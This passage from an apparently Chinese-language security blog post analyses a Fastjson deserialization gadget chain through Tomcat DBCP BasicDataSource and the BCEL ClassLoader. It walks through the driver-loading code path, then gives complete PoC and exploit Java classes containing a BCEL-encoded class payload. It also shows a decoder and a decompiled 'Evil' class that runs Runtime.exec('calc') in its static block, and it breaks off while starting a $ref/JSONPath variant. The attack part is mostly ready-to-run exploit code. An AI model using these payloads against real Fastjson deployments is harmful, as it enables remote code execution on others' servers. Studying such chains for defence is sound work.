{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span> (driverClassLoader == <span class="literal">null</span>) {</span><br><span class="line"> driverFromCCL = Class.forName(driverClassName);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> driverFromCCL = Class.forName(driverClassName, <span class="literal">true</span>, driverClassLoader);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> ClassNotFoundException cnfe) {</span><br><span class="line"> driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> Exception t) {</span><br><span class="line"> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> <span class="string">"Cannot load JDBC driver class '"</span> + driverClassName + <span class="string">"'"</span>;</span><br><span class="line"> logWriter.println(message);</span><br><span class="line"> t.printStackTrace(logWriter);</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(message, t);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span> (driverFromCCL == <span class="literal">null</span>) {</span><br><span class="line"> driverToUse = DriverManager.getDriver(url);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Usage of DriverManager is not possible, as it does not</span></span><br><span class="line"> <span class="comment">// respect the ContextClassLoader</span></span><br><span class="line"> <span class="comment">// N.B. This cast may cause ClassCastException which is handled below</span></span><br><span class="line"> driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();</span><br><span class="line"> <span class="keyword">if</span> (!driverToUse.acceptsURL(url)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(<span class="string">"No suitable driver"</span>, <span class="string">"08001"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> Exception t) {</span><br><span class="line"> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> <span class="string">"Cannot create JDBC driver of class '"</span></span><br><span class="line"> + (driverClassName != <span class="literal">null</span> ? driverClassName : <span class="string">""</span>) + <span class="string">"' for connect URL '"</span> + url + <span class="string">"'"</span>;</span><br><span class="line"> logWriter.println(message);</span><br><span class="line"> t.printStackTrace(logWriter);</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(message, t);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Set up the driver connection factory we will use</span></span><br><span class="line"> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">user</span> <span class="operator">=</span> userName;</span><br><span class="line"> <span class="keyword">if</span> (user != <span class="literal">null</span>) {</span><br><span class="line"> connectionProperties.put(<span class="string">"user"</span>, user);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> log(<span class="string">"DBCP DataSource configured without a 'username'"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">pwd</span> <span class="operator">=</span> password;</span><br><span class="line"> <span class="keyword">if</span> (pwd != <span class="literal">null</span>) {</span><br><span class="line"> connectionProperties.put(<span class="string">"password"</span>, pwd);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> log(<span class="string">"DBCP DataSource configured without a 'password'"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">final</span> <span class="type">ConnectionFactory</span> <span class="variable">driverConnectionFactory</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DriverConnectionFactory</span>(driverToUse, url,</span><br><span class="line"> connectionProperties);</span><br><span class="line"> <span class="keyword">return</span> driverConnectionFactory;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>我们来看关键部分</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (driverClassLoader == <span class="literal">null</span>) {</span><br><span class="line"> driverFromCCL = Class.forName(driverClassName);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> driverFromCCL = Class.forName(driverClassName, <span class="literal">true</span>, driverClassLoader);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>若存在 <code>driverClassLoader</code> 则会对类进行初始化</p><p>这里的 <code>driverClassName</code> 和 <code>driverClassLoader</code> 都是可控的</p><p>这里就可以考虑将 <code>driverClassLoader</code> 的参数写为 <code>com.sun.org.apache.bcel.internal.util.ClassLoader</code></p><p>接着</p><p>在 <code>org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createDataSource()</code> 中调用了 <code>createConnectionFactory()</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> DataSource <span class="title function_">createDataSource</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">if</span> (closed) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(<span class="string">"Data source is closed"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Return the pool if we have already created it</span></span><br><span class="line"> <span class="comment">// This is double-checked locking. This is safe since dataSource is</span></span><br><span class="line"> <span class="comment">// volatile and the code is targeted at Java 5 onwards.</span></span><br><span class="line"> <span class="keyword">if</span> (dataSource != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> dataSource;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">synchronized</span> (<span class="built_in">this</span>) {</span><br><span class="line"> <span class="keyword">if</span> (dataSource != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> dataSource;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> jmxRegister();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// create factory which returns raw physical connections</span></span><br><span class="line"> <span class="keyword">final</span> <span class="type">ConnectionFactory</span> <span class="variable">driverConnectionFactory</span> <span class="operator">=</span> createConnectionFactory();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Set up the poolable connection factory</span></span><br><span class="line"> <span class="type">boolean</span> <span class="variable">success</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line"> PoolableConnectionFactory poolableConnectionFactory;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> poolableConnectionFactory = createPoolableConnectionFactory(driverConnectionFactory);</span><br><span class="line"> poolableConnectionFactory.setPoolStatements(poolPreparedStatements);</span><br><span class="line"> poolableConnectionFactory.setMaxOpenPreparedStatements(maxOpenPreparedStatements);</span><br><span class="line"> success = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> SQLException se) {</span><br><span class="line"> <span class="keyword">throw</span> se;</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> RuntimeException rte) {</span><br><span class="line"> <span class="keyword">throw</span> rte;</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> Exception ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(<span class="string">"Error creating connection factory"</span>, ex);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (success) {</span><br><span class="line"> <span class="comment">// create a pool for our connections</span></span><br><span class="line"> createConnectionPool(poolableConnectionFactory);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create the pooling data source to manage connections</span></span><br><span class="line"> DataSource newDataSource;</span><br><span class="line"> success = <span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> newDataSource = createDataSourceInstance();</span><br><span class="line"> newDataSource.setLogWriter(logWriter);</span><br><span class="line"> success = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> SQLException se) {</span><br><span class="line"> <span class="keyword">throw</span> se;</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> RuntimeException rte) {</span><br><span class="line"> <span class="keyword">throw</span> rte;</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> Exception ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(<span class="string">"Error creating datasource"</span>, ex);</span><br><span class="line"> } <span class="keyword">finally</span> {</span><br><span class="line"> <span class="keyword">if</span> (!success) {</span><br><span class="line"> closeConnectionPool();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// If initialSize > 0, preload the pool</span></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < initialSize; i++) {</span><br><span class="line"> connectionPool.addObject();</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> Exception e) {</span><br><span class="line"> closeConnectionPool();</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(<span class="string">"Error preloading the connection pool"</span>, e);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// If timeBetweenEvictionRunsMillis > 0, start the pool's evictor task</span></span><br><span class="line"> startPoolMaintenance();</span><br><span class="line"></span><br><span class="line"> dataSource = newDataSource;</span><br><span class="line"> <span class="keyword">return</span> dataSource;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里需要让</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (dataSource != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> dataSource;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">synchronized</span> (<span class="built_in">this</span>) {</span><br><span class="line"> <span class="keyword">if</span> (dataSource != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> dataSource;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>均为 false 才能调用</p><p>接着</p><p>在 <code>org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection()</code> 调用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Connection <span class="title function_">getConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">if</span> (Utils.IS_SECURITY_ENABLED) {</span><br><span class="line"> <span class="keyword">final</span> PrivilegedExceptionAction<Connection> action = <span class="keyword">new</span> <span class="title class_">PaGetConnection</span>();</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">return</span> AccessController.doPrivileged(action);</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="keyword">final</span> PrivilegedActionException e) {</span><br><span class="line"> <span class="keyword">final</span> <span class="type">Throwable</span> <span class="variable">cause</span> <span class="operator">=</span> e.getCause();</span><br><span class="line"> <span class="keyword">if</span> (cause <span class="keyword">instanceof</span> SQLException) {</span><br><span class="line"> <span class="keyword">throw</span> (SQLException) cause;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(e);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> createDataSource().getConnection();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>至此,链子的整体流程</p><p><img src="https://img-blog.csdnimg.cn/1693c5418e4c430388cea181a4df746a.png" alt="在这里插入图片描述"></p><p>poc</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Author</span> kilo、冰室/ki10Moc</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2022/11/7</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@time</span> 14:30</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@blog</span> http://ki10.top</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FastJsonBcel</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>{</span><br><span class="line"> <span class="type">String</span> <span class="variable">payload2</span> <span class="operator">=</span> <span class="string">"{\n"</span> +</span><br><span class="line"> <span class="string">" {\n"</span> +</span><br><span class="line"> <span class="string">" \"ki10\":{\n"</span> +</span><br><span class="line"> <span class="string">" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"</span> +</span><br><span class="line"> <span class="string">" \"driverClassLoader\": {\n"</span> +</span><br><span class="line"> <span class="string">" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"</span> +</span><br><span class="line"> <span class="string">" },\n"</span> +</span><br><span class="line"> <span class="string">" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n"</span> +</span><br><span class="line"> <span class="string">" }\n"</span> +</span><br><span class="line"> <span class="string">" }: \"Moc\"\n"</span> +</span><br><span class="line"> <span class="string">"}"</span>;</span><br><span class="line"> JSON.parse(payload2);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>需要注意的是</p><p>这里 poc 的嵌套</p><p>最后 <code>JSON.parse</code> 触发 <code>key.toString()</code></p><p><img src="https://img-blog.csdnimg.cn/fb74d9af426b42988769e263895e46bb.png" alt="在这里插入图片描述"></p><p>整个 poc 都为 <code>JSONObject</code> , <code>value</code> 为 <code>Moc</code></p><p>然后判断是否是 <code>JSON</code> 对象,再去识别 <code>key</code> 和 <code>value</code></p><p><img src="https://img-blog.csdnimg.cn/195ff4481c6742f3a50e37cba995bd88.png" alt="在这里插入图片描述"></p><p>调试过程中确实两次落在该断点</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">key = (key == <span class="literal">null</span>) ? <span class="string">"null"</span> : key.toString();</span><br></pre></td></tr></table></figure><p>而在执行 toString () 时会将当前类转为字符串形式,会提取类中所有的 Field,执行相应的 getter 、is 等方法。因此也会执行 getConnection 方法</p><p>当然以上都是建立在 <code>parse()</code> 方法之上</p><p>如果 poc 是 <code>parseObject()</code> ,那就简单了,因为在处理过程中会调用所有的 setter 和 getter 方法。详细可以看 FastJson 反序列化基础</p><p>exp</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Author</span> kilo、冰室/ki10Moc</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2022/11/7</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@time</span> 14:30</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@blog</span> http://ki10.top</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FastJsonBcel</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"><span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="string">"{\n"</span> +</span><br><span class="line"> <span class="string">" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"</span> +</span><br><span class="line"> <span class="string">" \"driverClassLoader\": {\n"</span> +</span><br><span class="line"> <span class="string">" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"</span> +</span><br><span class="line"> <span class="string">" },\n"</span> +</span><br><span class="line"> <span class="string">" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n"</span> +</span><br><span class="line"> <span class="string">" }"</span>;</span><br><span class="line"> JSON.parseObject(s);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/aa37b1f2217b4c569f4cc52e1c21fa59.png" alt="在这里插入图片描述"></p><p>上面我们说了那么多,基本已经走完了流程,但还有个问题,这里的 <code>driverClassName</code> 后面的值是什么</p><p>可能还要到 <code>com.sun.org.apache.bcel.internal.util.ClassLoader</code> 去找答案</p><p>这里我们说,我们是通过 <code>loadClass</code> 下重写的方法来执行的,其中有个 <code>defiClass</code> 显然是通过字节码来实现的。再回过头看 <code>createClass</code> 中的 <code>Utility.*decode*</code></p><p>这里我们还原一下内容</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BCELDecode</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">String</span> <span class="variable">encode</span> <span class="operator">=</span> <span class="string">"$l$8b$I$A$A$A$A$A$A$A..."</span>;</span><br><span class="line"> <span class="type">byte</span>[] decode = Utility.decode(encode,<span class="literal">true</span>);</span><br><span class="line"> <span class="type">FileOutputStream</span> <span class="variable">fileOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"DecodeClass.class"</span>);</span><br><span class="line"> fileOutputStream.write(decode);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>得到 <code>DecodeClass.class</code></p><p>实际上就是静态方法里面执行弹计算器</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by Fernflower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.p1ay2win.fastjson;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Evil</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">Evil</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"calc"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException var1) {</span><br><span class="line"> var1.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x04-ref"><a class="markdownIt-Anchor" href="#0x04-ref">#</a> 0x04 $ref</h2><p>fastjson≥1.2.36</p><p>这里我们要讨论的问题就是上面 <code>JSON.parse()</code> 和 <code>JSON.parseObect()</code> 这两种不同方法调用的问题</p><p>这里给出另一种解决方法</p><p>JSONPath</p><p><img src="https://img-blog.csdnimg.cn/de2930ecd2f74ab1830e069a9f498672.png" alt="在这里插入图片描述"></p><p>添加依赖</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><dependency></span><br><span class="line"> <groupId>com.alibaba</groupId></span><br><span class="line"> <artifactId>fastjson</artifactId></span><br><span class="line"> <version><span class="number">1.2</span><span class="number">.36</span></version></span><br><span class="line"> </dependency></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.parser.ParserConfig;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Author</span> kilo、冰室/ki10Moc</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2022/11/14</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@time</span> 0:10</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@blog</span> http://ki10.top</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestCalc</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> ParserConfig.getGlobalInstance().setAutoTypeSupport(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span 